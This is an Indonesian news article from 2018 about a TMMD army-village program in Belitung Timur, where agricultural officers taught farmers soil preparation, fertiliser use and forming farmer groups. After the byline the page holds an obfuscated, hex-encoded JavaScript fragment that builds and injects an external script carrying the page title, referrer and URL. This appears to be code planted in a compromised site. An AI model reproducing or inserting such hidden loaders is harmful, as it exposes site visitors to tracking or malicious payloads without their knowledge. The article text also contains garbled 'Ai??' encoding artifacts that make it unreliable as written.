BERKAT ADANYA TMMD KE 101 KODIM 0414 BELITUNG, BIKIN PETANI SEMAKIN PINTAR

KORANFORUM.COM, BELITUNG TIMUR — Ai??Berkat adanya realisasi Program TMND ke 101 Kodim 0414 Belitung, bikin para petani di Desa Batu Penyu, Limbongan dan Desa Jangkar Asam, Kecamatan Gantung, Kabupaten Belitung Timur, Provinsi Bangka Belitung (Babel), sudah semakin pintar dalam ilmu pertanian.

Dengan demikian, pelaksanaan Program TNI Manunggal Membangun Desa (TMMD) ke 101 Tahun 2018, yang di gelar Kodim 0414 Belitung, Sabtu 07/04/2018), membawa dampak positif atas peningkatan kualitas para petani, Ai??sehingga bisa mendukung pengembangkan pembangunan sektor pertanian di Belitung Timur (Beltim) secara khusus, serta Provinsi Babel secara umum.

Rupanya, salahsatu program dari TMMD ke 101, yaitu penyuluhan pertanian yang merupakan sasaran non fisik, memiliki harapan kepada masyarakat yang bermata pencaharian sebagai petani, maka setelah adanya TMMD ini, terlihat semakin pandai dan pintar dalam bercocok tanam.

Sebelum diberikan penyuluhan dari Dinas Pertanian Kabupaten Beltim, saat itu Kasdim 0414 Belitung, Ai??Mayor (Inf) Ruhin S.Ag0 seizin Dandim 0414 Belitung, Letkol (Kav) Eko Saptono K, menyampaikan, bahwa, kegiatan penyuluhan malam hari ini, sangat besar manfaatnya bagi semua petani, yang berkumpul di Balai Desa Batu Penyu, Gantung.

“Saya harapkan, simak satu persatu Ai??materinya, karena ini merupakan kesempatan yang baik di malam hari ini, dimana materi disampaikan oleh Tim Penyuluh. Kalau ada yang kurang tahu, maka silahkan tanyakan hal -hal yang kurang difahami oleh Bapak dan Ibu sekalian,” tutur Kasdim.

Sementara itu, Ai??tim penyuluh dari Distan Kabupaten Beltim, Juri, beserta dua orang tim penyuluh Desa Batu Penyu, juga menyampaikan berbagai materi, yaitu mulai dari kesiapan tanah, pembibitan, pemeliharaan , panen dan pasca panen, yangmana materi dijelaskan secara rinci, sehingga bermanfaat bagi para petani.

Saat itu, Ai??Juri beserta timnya, menyampaikan, bahwa semuanya selaku petani, supaya membentuk kelompok tani (Poktan), agar bisa terkoordinir dengan baik, sehingga apabila nanti ada bantuan dari pemerintah, maka lebih mudah teknis dan prosedur atas penyaluran bantuannya tersebut.

Sempat disampaikan juga, materi tentang pengelolaan lahan sawah yang berpasir, maka harus ada rekayasa kelola tanah, sehingga nilai kesuburan tanah tetap terjaga.

“Sebab, lahan sawah di Jawa dengan di Belitung sangatlah berbeda, sehingga cara kelola disini harus ada perlakuan khusus,” jelas Juri.

Saat itu, disampaikan juga materi tentang ilmu penggunaan pupuk organik maupun pupuk non organik, dimana pupuk itu tidak harus beli mahal, karena ada bahan pupuk yang ada di sekitar lingkungan rumah para petani.

“Ayo..kita sukseskan Program S3 dari Distan Provinsi Babel, tentang Sawah, Sahang dan Sapi, sehingga kedepan Provinsi Babel, khususnya di Kabupaten Belitung ini, dapat mewujudkan swasembada pangan,” ucap Juri, didampingi Tim Penyuluh.

Juri dan Tim Penyuluh, sempat juga memberikan nasehat dan ilmu, yang harus diikuti para petani, yaitu bahwa pengolahan tanah jangan
dibakar, tetapi tanah dibalik saat pengelolaan tanah. Semua ini, Ai??agarAi??unsur haranya tidak terbakar dan tidak mudah tergerus air hujan, disaat musim hujan seperti saat ini.

Tampak turut hadir saat acara penyuluhan peryanian, Kasdim Mayor (Inf) Ruhin S.Ag, Tim Penyuluh dari Distan Beltim, Juri beserta Tim Penyuluh Desa Batu Penyu, Pasiter Kodim Kapten (Inf) R Triyuwono, beserta
Danramil Kapten Czi A Tabrani, selaku Komandan SSK TMMD ke 101,Ai??Kades Batu Penyu. Kadus Sumping, Kadus Kundor, Kadus Lidun, anggota Satgas TMMD ke 101 Tahun 2018, serta masyarakat dari Desa Batu Penyu dan Limbongan, Gantung,

Beltim. (jon) 4\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *